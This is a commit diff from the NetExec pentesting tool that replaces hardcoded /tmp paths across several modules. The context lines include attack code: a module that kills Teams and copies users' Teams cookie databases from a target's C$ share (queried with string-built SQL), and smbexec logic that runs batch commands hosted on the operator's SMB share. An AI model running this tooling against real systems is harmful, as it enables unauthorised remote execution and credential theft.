Fix issues with hardcoded /tmp

Author: NeffIsBack

nxc/modules/pi.py

@@ -1,8 +1,8 @@
 from base64 import b64decode
 from sys import exit
-from os import path
+from os.path import abspath, join, isfile
 
-from nxc.paths import DATA_PATH
+from nxc.paths import DATA_PATH, TMP_PATH
 
 
 class NXCModule:
@@ -25,7 +25,7 @@ def options(self, context, module_options):
         self.pi = "pi.exe"
         self.useembeded = True
         self.pid = self.cmd = ""
-        with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
+        with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
             self.pi_embedded = b64decode(pi_file.read())
 
         if "EXEC" in module_options:
@@ -36,11 +36,11 @@ def options(self, context, module_options):
 
     def on_admin_login(self, context, connection):
         if self.useembeded:
-            file_to_upload = "/tmp/pi.exe"
+            file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
             with open(file_to_upload, "wb") as pm:
                 pm.write(self.pi_embedded)
         else:
-            if path.isfile(self.imp_exe):
+            if isfile(self.imp_exe):
                 file_to_upload = self.imp_exe
             else:
                 context.log.error(f"Cannot open {self.imp_exe}")

nxc/modules/spider_plus.py

@@ -1,8 +1,10 @@
 import json
 import errno
-import os
+from os.path import abspath, join, split, exists, splitext, getsize, sep
+from os import makedirs, remove, stat
 import time
 import traceback
+from nxc.paths import TMP_PATH
 from nxc.protocols.smb.remotefile import RemoteFile
 from impacket.smb3structs import FILE_READ_DATA
 from impacket.smbconnection import SessionError
@@ -36,7 +38,7 @@ def human_time(timestamp):
 def make_dirs(path):
     """Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
     try:
-        os.makedirs(path)
+        makedirs(path)
     except OSError as e:
         if e.errno != errno.EEXIST:
             raise
@@ -170,13 +172,13 @@ def get_file_save_path(self, remote_file):
         The folder path and filename are then obtained separately.
         """
         # Remove the backslash before the remote host part and replace slashes with the appropriate path separator
-        remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
+        remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
 
         # Split the path to obtain the folder path and the filename
-        folder, filename = os.path.split(remote_file_path)
+        folder, filename = split(remote_file_path)
 
         # Join the output folder with the folder path to get the final local folder path
-        folder = os.path.join(self.output_folder, folder)
+        folder = join(self.output_folder, folder)
 
         return folder, filename
 
@@ -283,7 +285,7 @@ def parse_file(self, share_name, file_path, file_info):
             return
 
         # Check file extension filter.
-        _, file_extension = os.path.splitext(file_path)
+        _, file_extension = splitext(file_path)
         if file_extension:
             self.stats["file_exts"].add(file_extension.lower())
             if file_extension.lower() in self.exclude_exts:
@@ -306,10 +308,10 @@ def parse_file(self, share_name, file_path, file_info):
 
         # Check if the file is already downloaded and up-to-date.
         file_dir, file_name = self.get_file_save_path(remote_file)
-        download_path = os.path.join(file_dir, file_name)
+        download_path = join(file_dir, file_name)
         needs_update_flag = False
-        if os.path.exists(download_path):
-            if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
+        if exists(download_path):
+            if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
                 self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
                 self.stats["num_files_unmodified"] += 1
                 return
@@ -348,7 +350,7 @@ def save_file(self, remote_file, share_name):
         remote_file.seek(0, 0)
 
         folder, filename = self.get_file_save_path(remote_file)
-        download_path = os.path.join(folder, filename)
+        download_path = join(folder, filename)
 
         # Create the subdirectories based on the share name and file path.
         self.logger.debug(f"Creating folder '{folder}'")
@@ -365,8 +367,8 @@ def save_file(self, remote_file, share_name):
             self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')
 
         # Check if the file is empty and should not be.
-        if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
-            os.remove(download_path)
+        if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
+            remove(download_path)
             remote_path = str(remote_file)[2:]
             self.logger.fail(f'Unable to download file "{remote_path}".')
 
@@ -375,7 +377,7 @@ def dump_folder_metadata(self, results):
         
         The results are formatted with indentation and sorted keys before being written to the file.
         """
-        metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
+        metadata_path = join(self.output_folder, f"{self.host}.json")
         try:
             with open(metadata_path, "w", encoding="utf-8") as fd:
                 fd.write(json.dumps(results, indent=4, sort_keys=True))
@@ -498,7 +500,7 @@ def options(self, context, module_options):
         self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
         self.exclude_filter = [d.lower() for d in self.exclude_filter]  # force case-insensitive
         self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
-        self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
+        self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
 
     def on_login(self, context, connection):
         context.log.display("Started module spidering_plus with the following options:")

nxc/modules/teams_localdb.py

@@ -1,4 +1,6 @@
 import sqlite3
+from nxc.paths import TMP_PATH
+from os.path import abspath, join
 
 
 class NXCModule:
@@ -16,7 +18,7 @@ def on_admin_login(self, context, connection):
         connection.execute("taskkill /F /T /IM teams.exe")
         found = 0
         paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
-        with open("/tmp/teams_cookies2.txt", "wb") as f:
+        with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
             for path in paths:
                 try:
                     connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
@@ -37,7 +39,7 @@ def on_admin_login(self, context, connection):
     @staticmethod
     def parse_file(context, name):
         try:
-            conn = sqlite3.connect("/tmp/teams_cookies2.txt")
+            conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
             c = conn.cursor()
             c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
             row = c.fetchone()

nxc/protocols/smb.py

@@ -1,6 +1,7 @@
 import ntpath
 import binascii
 import os
+from os.path import abspath
 import re
 from io import StringIO
 from Cryptodome.Hash import MD4
@@ -1280,7 +1281,7 @@ def put_file_single(self, src, dst):
 
     def put_file(self):
         for src, dest in self.args.put_file:
-            self.put_file_single(src, dest)
+            self.put_file_single(abspath(src), dest)
 
     def get_file_single(self, remote_path, download_path):
         share_name = self.args.share
@@ -1298,7 +1299,7 @@ def get_file_single(self, remote_path, download_path):
 
     def get_file(self):
         for src, dest in self.args.get_file:
-            self.get_file_single(src, dest)
+            self.get_file_single(src, abspath(dest))
 
 
     def enable_remoteops(self):

nxc/protocols/smb/smbexec.py

@@ -3,6 +3,7 @@
 from time import sleep
 from impacket.dcerpc.v5 import transport, scmr
 from nxc.helpers.misc import gen_random_string
+from nxc.paths import TMP_PATH
 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 
 
@@ -95,7 +96,7 @@ def execute_remote(self, data):
 
         command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
 
-        with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
+        with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
             batch_file.write(command)
 
         self.logger.debug("Hosting batch file with command: " + command)
@@ -179,7 +180,7 @@ def execute_fileless(self, data):
 
         command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data
 
-        with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
+        with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
             batch_file.write(command)
 
         self.logger.debug("Hosting batch file with command: " + command)
@@ -214,7 +215,7 @@ def get_output_fileless(self):
 
         while True:
             try:
-                with open(path_join("/tmp", "nxc_hosted", self.__output), "rb") as output:
+                with open(path_join(TMP_PATH, self.__output), "rb") as output:
                     self.output_callback(output.read())
                 break
             except OSError: